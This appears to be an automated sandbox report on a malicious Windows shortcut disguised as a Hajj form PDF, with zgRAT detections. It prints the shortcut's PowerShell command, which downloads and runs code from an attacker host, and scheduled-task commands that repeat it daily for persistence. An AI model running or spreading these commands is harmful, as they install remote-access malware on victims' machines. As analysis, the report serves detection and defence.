Source: powershell.exe, 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD48B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318160174.0000019FD593B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD45E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344191000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAE9D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD593B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD48B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318160174.0000019FD593B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000016.00000002.2477439249.00000233425E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000017.00000002.2476908618.000001CCACF65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.cok
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD45E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344191000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAE9D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000018.00000002.2437118491.000001F308B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/channels/
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD4CAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318160174.0000019FD4C27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344787000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344810000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAEFB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308BA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/guilds/
Source: powershell.exe, 00000016.00000002.2485510234.0000023345068000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF894000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.desktopsX
Source: powershell.exe, 00000018.00000002.2437118491.000001F3093F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.desktopsXH
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD4A53000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023345068000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAEDEA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF894000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F3093F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.desktopserver.top
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD4A84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318160174.0000019FD4A53000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.000002334505E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023345068000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.00000233445BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF889000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAEDEA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF894000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F30894A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F3093F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F3093EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.desktopserver.top/file/res/
Source: powershell.exe, 00000018.00000002.2437118491.000001F30894A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.desktopserver.topp
Source: powershell.exe, 00000016.00000002.2485510234.00000233445BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.desktopserver.toppz8B3
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD4CAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318160174.0000019FD4C27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344787000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344810000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAEFB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308BA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://file.io/
Source: edb.log.4.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000004.00000003.2166204153.0000022298CA0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr, edb.log.4.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD4CC0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344820000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF050000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308BB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gateway.discord.gg
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD4CC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gateway.discord.gg0
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD4CC0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344820000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF050000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308BB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gateway.discord.gg:443/?v=9&encording=json
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD48B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318160174.0000019FD593B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD593B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD4CAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318160174.0000019FD4C27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344787000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344810000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAEFB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308BA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2437118491.000001F308B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipwho.is/
Source: Sv6eQZzG0Z.lnk	String found in binary or memory: https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf;
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD61FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.4.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD593B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD593B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 40.126.32.133:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.234:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.234:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.234:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.234:443 -> 192.168.2.5:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49770 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 24.2.powershell.exe.1f318711390.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 11.2.powershell.exe.19fe48e8dd8.4.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 24.2.powershell.exe.1f318711390.4.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 23.2.powershell.exe.1ccbebb1660.4.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 23.2.powershell.exe.1ccbebb1660.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 22.2.powershell.exe.233543815c0.4.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 11.2.powershell.exe.19fed130000.6.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects zgRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8288, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 9064, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 9196, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8544, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows shortcut file (LNK) contains suspicious command line arguments

Source: Sv6eQZzG0Z.lnk

LNK file: -c start https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf; irm http://drive.desktopserver.top/file/| Powershell

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848A56DF0	11_2_00007FF848A56DF0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848A5C93B	11_2_00007FF848A5C93B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848A5CA90	11_2_00007FF848A5CA90
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848A5CA35	11_2_00007FF848A5CA35
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848B22DBA	11_2_00007FF848B22DBA

Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.2.powershell.exe.1f318711390.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 11.2.powershell.exe.19fe48e8dd8.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.2.powershell.exe.1f318711390.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 23.2.powershell.exe.1ccbebb1660.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 23.2.powershell.exe.1ccbebb1660.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 22.2.powershell.exe.233543815c0.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 11.2.powershell.exe.19fed130000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: Process Memory Space: powershell.exe PID: 8288, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 9064, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 9196, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 8544, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 11.2.powershell.exe.19fed130000.6.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 22.2.powershell.exe.233543815c0.4.raw.unpack, Yo82VwCRV3UT8r6biQk.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.evad.winLNK@61/43@9/9

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zantpa52.wxd.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c start https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf; irm http://drive.desktopserver.top/file/\| Powershell
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=2056,i,4768736094800516795,6522799854547835148,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f
